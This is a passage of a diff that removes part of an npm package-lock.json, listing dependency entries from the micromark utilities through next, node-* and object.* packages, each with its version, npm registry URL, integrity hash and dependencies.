- "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-factory-space": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-factory-whitespace": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz",
- "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-factory-space": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-util-character": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz",
- "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-util-chunked": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz",
- "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-util-symbol": "^2.0.0"
- }
- },
- "node_modules/micromark-util-classify-character": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz",
- "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-util-character": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-util-combine-extensions": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz",
- "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-util-chunked": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-util-decode-numeric-character-reference": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz",
- "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-util-symbol": "^2.0.0"
- }
- },
- "node_modules/micromark-util-decode-string": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz",
- "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "decode-named-character-reference": "^1.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-decode-numeric-character-reference": "^2.0.0",
- "micromark-util-symbol": "^2.0.0"
- }
- },
- "node_modules/micromark-util-encode": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz",
- "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ]
- },
- "node_modules/micromark-util-events-to-acorn": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/micromark-util-events-to-acorn/-/micromark-util-events-to-acorn-2.0.2.tgz",
- "integrity": "sha512-Fk+xmBrOv9QZnEDguL9OI9/NQQp6Hz4FuQ4YmCb/5V7+9eAh1s6AYSvL20kHkD67YIg7EpE54TiSlcsf3vyZgA==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "@types/acorn": "^4.0.0",
- "@types/estree": "^1.0.0",
- "@types/unist": "^3.0.0",
- "devlop": "^1.0.0",
- "estree-util-visit": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0",
- "vfile-message": "^4.0.0"
- }
- },
- "node_modules/micromark-util-html-tag-name": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz",
- "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ]
- },
- "node_modules/micromark-util-normalize-identifier": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz",
- "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-util-symbol": "^2.0.0"
- }
- },
- "node_modules/micromark-util-resolve-all": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz",
- "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-util-sanitize-uri": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz",
- "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-util-character": "^2.0.0",
- "micromark-util-encode": "^2.0.0",
- "micromark-util-symbol": "^2.0.0"
- }
- },
- "node_modules/micromark-util-subtokenize": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.0.3.tgz",
- "integrity": "sha512-VXJJuNxYWSoYL6AJ6OQECCFGhIU2GGHMw8tahogePBrjkG8aCCas3ibkp7RnVOSTClg2is05/R7maAhF1XyQMg==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "devlop": "^1.0.0",
- "micromark-util-chunked": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-util-symbol": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz",
- "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ]
- },
- "node_modules/micromark-util-types": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.1.tgz",
- "integrity": "sha512-534m2WhVTddrcKVepwmVEVnUAmtrx9bfIjNoQHRqfnvdaHQiFytEhJoTgpWJvDEXCO5gLTQh3wYC1PgOJA4NSQ==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ]
- },
- "node_modules/micromatch": {
- "version": "4.0.8",
- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
- "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
- "dependencies": {
- "braces": "^3.0.3",
- "picomatch": "^2.3.1"
- },
- "engines": {
- "node": ">=8.6"
- }
- },
- "node_modules/mime-db": {
- "version": "1.52.0",
- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
- "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
- "license": "MIT",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/mime-types": {
- "version": "2.1.35",
- "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
- "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
- "license": "MIT",
- "dependencies": {
- "mime-db": "1.52.0"
- },
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/minim": {
- "version": "0.23.8",
- "resolved": "https://registry.npmjs.org/minim/-/minim-0.23.8.tgz",
- "integrity": "sha512-bjdr2xW1dBCMsMGGsUeqM4eFI60m94+szhxWys+B1ztIt6gWSfeGBdSVCIawezeHYLYn0j6zrsXdQS/JllBzww==",
- "license": "MIT",
- "dependencies": {
- "lodash": "^4.15.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/minimatch": {
- "version": "3.1.2",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
- "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
- "dependencies": {
- "brace-expansion": "^1.1.7"
- },
- "engines": {
- "node": "*"
- }
- },
- "node_modules/minimist": {
- "version": "1.2.8",
- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
- "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/minipass": {
- "version": "7.1.2",
- "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz",
- "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==",
- "engines": {
- "node": ">=16 || 14 >=14.17"
- }
- },
- "node_modules/ms": {
- "version": "2.1.3",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
- "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
- },
- "node_modules/mustache": {
- "version": "2.2.1",
- "resolved": "https://registry.npmjs.org/mustache/-/mustache-2.2.1.tgz",
- "integrity": "sha512-azYRexmi9y6h2lk2JqfBLh1htlDMjKYyEYOkxoGKa0FRdr5aY4f5q8bH4JIecM181DtUEYLSz8PcRO46mgzMNQ==",
- "bin": {
- "mustache": "bin/mustache"
- },
- "engines": {
- "npm": ">=1.4.0"
- }
- },
- "node_modules/mz": {
- "version": "2.7.0",
- "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
- "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
- "dependencies": {
- "any-promise": "^1.0.0",
- "object-assign": "^4.0.1",
- "thenify-all": "^1.0.0"
- }
- },
- "node_modules/nanoid": {
- "version": "3.3.8",
- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.8.tgz",
- "integrity": "sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "bin": {
- "nanoid": "bin/nanoid.cjs"
- },
- "engines": {
- "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
- }
- },
- "node_modules/natural-compare": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
- "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw=="
- },
- "node_modules/neotraverse": {
- "version": "0.6.18",
- "resolved": "https://registry.npmjs.org/neotraverse/-/neotraverse-0.6.18.tgz",
- "integrity": "sha512-Z4SmBUweYa09+o6pG+eASabEpP6QkQ70yHj351pQoEXIs8uHbaU2DWVmzBANKgflPa47A50PtB2+NgRpQvr7vA==",
- "license": "MIT",
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/next": {
- "version": "15.5.9",
- "resolved": "https://registry.npmjs.org/next/-/next-15.5.9.tgz",
- "integrity": "sha512-agNLK89seZEtC5zUHwtut0+tNrc0Xw4FT/Dg+B/VLEo9pAcS9rtTKpek3V6kVcVwsB2YlqMaHdfZL4eLEVYuCg==",
- "license": "MIT",
- "dependencies": {
- "@next/env": "15.5.9",
- "@swc/helpers": "0.5.15",
- "caniuse-lite": "^1.0.30001579",
- "postcss": "8.4.31",
- "styled-jsx": "5.1.6"
- },
- "bin": {
- "next": "dist/bin/next"
- },
- "engines": {
- "node": "^18.18.0 || ^19.8.0 || >= 20.0.0"
- },
- "optionalDependencies": {
- "@next/swc-darwin-arm64": "15.5.7",
- "@next/swc-darwin-x64": "15.5.7",
- "@next/swc-linux-arm64-gnu": "15.5.7",
- "@next/swc-linux-arm64-musl": "15.5.7",
- "@next/swc-linux-x64-gnu": "15.5.7",
- "@next/swc-linux-x64-musl": "15.5.7",
- "@next/swc-win32-arm64-msvc": "15.5.7",
- "@next/swc-win32-x64-msvc": "15.5.7",
- "sharp": "^0.34.3"
- },
- "peerDependencies": {
- "@opentelemetry/api": "^1.1.0",
- "@playwright/test": "^1.51.1",
- "babel-plugin-react-compiler": "*",
- "react": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0",
- "react-dom": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0",
- "sass": "^1.3.0"
- },
- "peerDependenciesMeta": {
- "@opentelemetry/api": {
- "optional": true
- },
- "@playwright/test": {
- "optional": true
- },
- "babel-plugin-react-compiler": {
- "optional": true
- },
- "sass": {
- "optional": true
- }
- }
- },
- "node_modules/next-themes": {
- "version": "0.3.0",
- "resolved": "https://registry.npmjs.org/next-themes/-/next-themes-0.3.0.tgz",
- "integrity": "sha512-/QHIrsYpd6Kfk7xakK4svpDI5mmXP0gfvCoJdGpZQ2TOrQZmsW0QxjaiLn8wbIKjtm4BTSqLoix4lxYYOnLJ/w==",
- "peerDependencies": {
- "react": "^16.8 || ^17 || ^18",
- "react-dom": "^16.8 || ^17 || ^18"
- }
- },
- "node_modules/next/node_modules/postcss": {
- "version": "8.4.31",
- "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.31.tgz",
- "integrity": "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/postcss"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "nanoid": "^3.3.6",
- "picocolors": "^1.0.0",
- "source-map-js": "^1.0.2"
- },
- "engines": {
- "node": "^10 || ^12 || >=14"
- }
- },
- "node_modules/node-abort-controller": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/node-abort-controller/-/node-abort-controller-3.1.1.tgz",
- "integrity": "sha512-AGK2yQKIjRuqnc6VkX2Xj5d+QW8xZ87pa1UK6yA6ouUyuxfHuMP6umE5QK7UmTeOAymo+Zx1Fxiuw9rVx8taHQ==",
- "license": "MIT"
- },
- "node_modules/node-addon-api": {
- "version": "7.1.1",
- "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",
- "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==",
- "dev": true,
- "optional": true
- },
- "node_modules/node-cache": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/node-cache/-/node-cache-5.1.2.tgz",
- "integrity": "sha512-t1QzWwnk4sjLWaQAS8CHgOJ+RAfmHpxFWmc36IWTiWHQfs0w5JDMBS1b1ZxQteo0vVVuWJvIUKHDkkeK7vIGCg==",
- "dependencies": {
- "clone": "2.x"
- },
- "engines": {
- "node": ">= 8.0.0"
- }
- },
- "node_modules/node-domexception": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz",
- "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==",
- "deprecated": "Use your platform's native DOMException instead",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/jimmywarting"
- },
- {
- "type": "github",
- "url": "https://paypal.me/jimmywarting"
- }
- ],
- "license": "MIT",
- "engines": {
- "node": ">=10.5.0"
- }
- },
- "node_modules/node-fetch-commonjs": {
- "version": "3.3.2",
- "resolved": "https://registry.npmjs.org/node-fetch-commonjs/-/node-fetch-commonjs-3.3.2.tgz",
- "integrity": "sha512-VBlAiynj3VMLrotgwOS3OyECFxas5y7ltLcK4t41lMUZeaK15Ym4QRkqN0EQKAFL42q9i21EPKjzLUPfltR72A==",
- "license": "MIT",
- "dependencies": {
- "node-domexception": "^1.0.0",
- "web-streams-polyfill": "^3.0.3"
- },
- "engines": {
- "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/node-fetch"
- }
- },
- "node_modules/node-gyp-build": {
- "version": "4.8.4",
- "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.8.4.tgz",
- "integrity": "sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==",
- "license": "MIT",
- "optional": true,
- "bin": {
- "node-gyp-build": "bin.js",
- "node-gyp-build-optional": "optional.js",
- "node-gyp-build-test": "build-test.js"
- }
- },
- "node_modules/node-releases": {
- "version": "2.0.19",
- "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.19.tgz",
- "integrity": "sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw=="
- },
- "node_modules/normalize-path": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
- "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/normalize-range": {
- "version": "0.1.2",
- "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
- "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/number-is-nan": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz",
- "integrity": "sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/object-assign": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
- "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/object-hash": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
- "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/object-inspect": {
- "version": "1.13.3",
- "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.3.tgz",
- "integrity": "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/object-keys": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
- "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/object.assign": {
- "version": "4.1.5",
- "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.5.tgz",
- "integrity": "sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==",
- "dependencies": {
- "call-bind": "^1.0.5",
- "define-properties": "^1.2.1",
- "has-symbols": "^1.0.3",
- "object-keys": "^1.1.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/object.entries": {
- "version": "1.1.8",
- "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.8.tgz",
- "integrity": "sha512-cmopxi8VwRIAw/fkijJohSfpef5PdN0pMQJN6VC/ZKvn0LIknWD8KtgY6KlQdEc4tIjcQ3HxSMmnvtzIscdaYQ==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/object.fromentries": {
- "version": "2.0.8",
- "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz",
- "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.2",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/object.groupby": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.3.tgz",
- "integrity": "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/object.values": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.0.tgz",
- "integrity": "sha512-yBYjY9QX2hnRmZHAjG/f13MzmBzxzYgQhFrke06TTyKY5zSTEqkOeukBzIdVA3j3ulu8Qa3MbVFShV7T2RmGtQ==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/once": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
- "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
- "dependencies": {
- "wrappy": "1"
- }
- },
- "node_modules/openapi-path-templating": {
- "version": "2.2.1",
- "resolved": "https://registry.npmjs.org/openapi-path-templating/-/openapi-path-templating-2.2.1.tgz",
- "integrity": "sha512-eN14VrDvl/YyGxxrkGOHkVkWEoPyhyeydOUrbvjoz8K5eIGgELASwN1eqFOJ2CTQMGCy2EntOK1KdtJ8ZMekcg==",
- "license": "Apache-2.0",
- "dependencies": {
- "apg-lite": "^1.0.4"
- },
- "engines": {
- "node": ">=12.20.0"
- }
- },
- "node_modules/openapi-server-url-templating": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/openapi-server-url-templating/-/openapi-server-url-templating-1.3.0.tgz",
- "integrity": "sha512-DPlCms3KKEbjVQb0spV6Awfn6UWNheuG/+folQPzh/wUaKwuqvj8zt5gagD7qoyxtE03cIiKPgLFS3Q8Bz00uQ==",
- "license": "Apache-2.0",
- "dependencies": {
- "apg-lite": "^1.0.4"
- },
- "engines": {
- "node": ">=12.20.0"
- }
- },
- "node_modules/optionator": {
- "version": "0.9.4",
- "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz",
